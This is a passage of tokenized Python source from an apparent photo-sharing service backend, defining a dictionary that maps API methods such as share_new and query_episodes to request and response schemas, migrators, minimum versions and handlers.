"od", " ", "instance", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "SERV", "ICE", "\\u", "MAP_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "add", "\\u", "followers", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "ADD", "\\u", "FOL", "LOWER", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "ADD", "\\u", "FOL", "LOWER", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Add", "Followe", "rs_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "allocate", "\\u", "ids", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "ALLOC", "ATE", "\\u", "IDS", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "ALLOC", "ATE", "\\u", "IDS", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Allocate", "Ids_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "build", "\\u", "archive", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "BUILD", "\\u", "ARCHIVE", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "BUILD", "\\u", "ARCHIVE", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Build", "Archive_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "get", "\\u", "calendar", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "GET", "\\u", "CALENDAR", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "GET", "\\u", "CALENDAR", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Get", "Calendar_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hide", "\\u", "photo", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "HID", "E", "\\u", "PHOTO", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "HID", "E", "\\u", "PHOTO", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "RENA", "ME", "\\u", "PHOTO", "\\u", "LABEL_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Hi", "de", "Photos", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "list", "\\u", "identities", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "LIST", "\\u", "IDENT", "ITI", "ES", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "LIST", "\\u", "IDENT", "ITI", "ES", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "List", "Ident", "ities_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "merge", "\\u", "account", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "MERGE", "\\u", "ACCOUNT", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "MERGE", "\\u", "ACCOUNT", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Merge", "Account", "s_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "new", "\\u", "client", "\\u", "log", "\\u", "url", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "NEW", "\\u", "CLIENT", "\\u", "LOG", "\\u", "URL", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "NEW", "\\u", "CLIENT", "\\u", "LOG", "\\u", "URL", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "New", "Client", "Log", "Url_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "post", "\\u", "comment", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "POST", "\\u", "COMMENT", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "POST", "\\u", "COMMENT", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Post", "Comment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "\\u", "contact", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "CONTACT", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "CONTACT", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "migr", "ator", "s_", "=_", "[_", "SUPPORT", "\\u", "MULTIPLE", "\\u", "IDENT", "ITI", "ES", "\\u", "PER", "\\u", "CONTACT", "_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Query", "Conta", "cts_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "\\u", "episode", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "EPI", "SO", "DES", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "EPI", "SO", "DES", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "migr", "ator", "s_", "=_", "[_", "EXTRACT", "\\u", "ASSET", "\\u", "KEYS_", ",_", "RENA", "ME", "\\u", "PHOTO", "\\u", "LABEL_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Query", "Episod", "es_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "allow", "\\u", "prospe", "ctive", "_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "\\u", "followe", "d", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "FOL", "LOW", "ED", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "FOL", "LOW", "ED", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Query", "Followe", "d_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "allow", "\\u", "prospe", "ctive", "_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "\\u", "notification", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "NOTIFICATION", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "NOTIFICATION", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "migr", "ator", "s_", "=_", "[_", "IN", "LINE", "\\u", "INVALID", "ATION", "S_", ",_", "IN", "LINE", "\\u", "COMMENT", "S_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Query", "Notifi", "cations", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "\\u", "users", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "USERS", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "USERS", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Query", "Users_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "allow", "\\u", "prospe", "ctive", "_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "\\u", "view", "points", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "VIEW", "POINT", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "QUE", "RY", "\\u", "VIEW", "POINT", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "migr", "ator", "s_", "=_", "[_", "SUPPORT", "\\u", "REMOVE", "D", "\\u", "FOL", "LOWER", "S_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Query", "View", "points_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "allow", "\\u", "prospe", "ctive", "_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "record", "\\u", "subscript", "ion", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "RECORD", "\\u", "SUBSCRI", "PTION", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "RECORD", "\\u", "SUBSCRI", "PTION", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Record", "Subscription_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "remove", "\\u", "contact", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "REMOVE", "\\u", "CONTACT", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "REMOVE", "\\u", "CONTACT", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "SUPPORT", "\\u", "MULTIPLE", "\\u", "IDENT", "ITI", "ES", "\\u", "PER", "\\u", "CONTACT", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Remove", "Conta", "cts_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "remove", "\\u", "followers", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "REMOVE", "\\u", "FOL", "LOWER", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "REMOVE", "\\u", "FOL", "LOWER", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Remove", "Followe", "rs_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "remove", "\\u", "photo", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "REMOVE", "\\u", "PHOTO", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "REMOVE", "\\u", "PHOTO", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Remove", "Photos", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "remove", "\\u", "view", "point", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "REMOVE", "\\u", "VIEW", "POINT", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "REMOVE", "\\u", "VIEW", "POINT", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "IN", "LINE", "\\u", "COMMENT", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Remove", "View", "point_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "resolve", "\\u", "contact", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "RESOL", "VE", "\\u", "CONTACT", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "RESOL", "VE", "\\u", "CONTACT", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Resolv", "e", "Conta", "cts_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "save", "\\u", "photo", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "SAVE", "\\u", "PHOTO", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "SAVE", "\\u", "PHOTO", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "SUPPRESS", "\\u", "COPY", "\\u", "TIMESTAMP_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Save", "Photos", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "share", "\\u", "exist", "ing", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "SHAR", "E", "\\u", "EXIST", "ING", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "SHAR", "E", "\\u", "EXIST", "ING", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "EXPL", "ICIT", "\\u", "SHAR", "E", "\\u", "ORDER_", ",_", "SUPPRESS", "\\u", "COPY", "\\u", "TIMESTAMP_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Share", "Exist", "ing_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "share", "\\u", "new", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "SHAR", "E", "\\u", "NEW", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "SHAR", "E", "\\u", "NEW", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "EXPL", "ICIT", "\\u", "SHAR", "E", "\\u", "ORDER_", ",_", "SUPPRESS", "\\u", "BLANK", "\\u", "COVER", "\\u", "PHOTO", "_", ",_", "SUPPRESS", "\\u", "COPY", "\\u", "TIMESTAMP_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Share", "New_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "terminate", "\\u", "account", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "TERMINAT", "E", "\\u", "ACCOUNT", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "TERMINAT", "E", "\\u", "ACCOUNT", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Terminate", "Account_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "unlink", "\\u", "identi", "ty", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UNL", "INK", "\\u", "IDENTITY", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UNL", "INK", "\\u", "IDENTITY", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Unli", "nk", "Identity_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "unsh", "are", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UNS", "HAR", "E", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UNS", "HAR", "E", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Uns", "hare", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "\\u", "device", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "DEV", "ICE", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "DEV", "ICE", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Update", "Device_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "\\u", "episode", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "EPI", "SO", "DE", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "EPI", "SO", "DE", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Update", "Episode_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "\\u", "follower", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "FOL", "LOWER", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "FOL", "LOWER", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Update", "Followe", "r_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "\\u", "frie", "nd", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "FRI", "END", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "FRI", "END", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Update", "Friend", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "\\u", "photo", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "PHOTO", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "PHOTO", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "EXTRACT", "\\u", "ASSET", "\\u", "KEYS_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Update", "Photo_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "\\u", "user", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "USER", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "USER", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "SPLIT", "\\u", "NAMES_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Update", "User_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "\\u", "user", "\\u", "photo", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "USER", "\\u", "PHOTO", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "USER", "\\u", "PHOTO", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "ASSET", "\\u", "KEYS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Update", "User", "Photo_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "\\u", "view", "point", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "VIEW", "POINT", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPDATE", "\\u", "VIEW", "POINT", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "SUPPRESS", "\\u", "EMP", "TY", "\\u", "TITLE_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Update", "View", "point_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "upload", "\\u", "contact", "s", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPLOAD", "\\u", "CONTACT", "S", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPLOAD", "\\u", "CONTACT", "S", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "SUPPORT", "\\u", "CONTACT", "\\u", "LIMIT", "S_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "SUPPORT", "\\u", "MULTIPLE", "\\u", "IDENT", "ITI", "ES", "\\u", "PER", "\\u", "CONTACT", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Upload", "Conta", "cts_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "upload", "\\u", "episode", "'_", ":_", "Method_", "(_", "request_", "=_", "json", "\\u", "schema_", "._", "UPLOAD", "\\u", "EPI", "SO", "DE", "\\u", "REQUEST_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json", "\\u", "schema_", "._", "UPLOAD", "\\u", "EPI", "SO", "DE", "\\u", "RESPONSE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "EXTRACT", "\\u", "FILE", "\\u", "SIZE", "S_", ",_", "EXTRACT", "\\u", "ASSET", "\\u", "KEYS_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "Message_", "._", "EXTRACT", "\\u", "MD", "5", "\\u", "HAS", "HE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "Upload", "Episode_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Service", "Handler_", "(_", "base_", "._", "Base", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "application_", ",_", "request_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 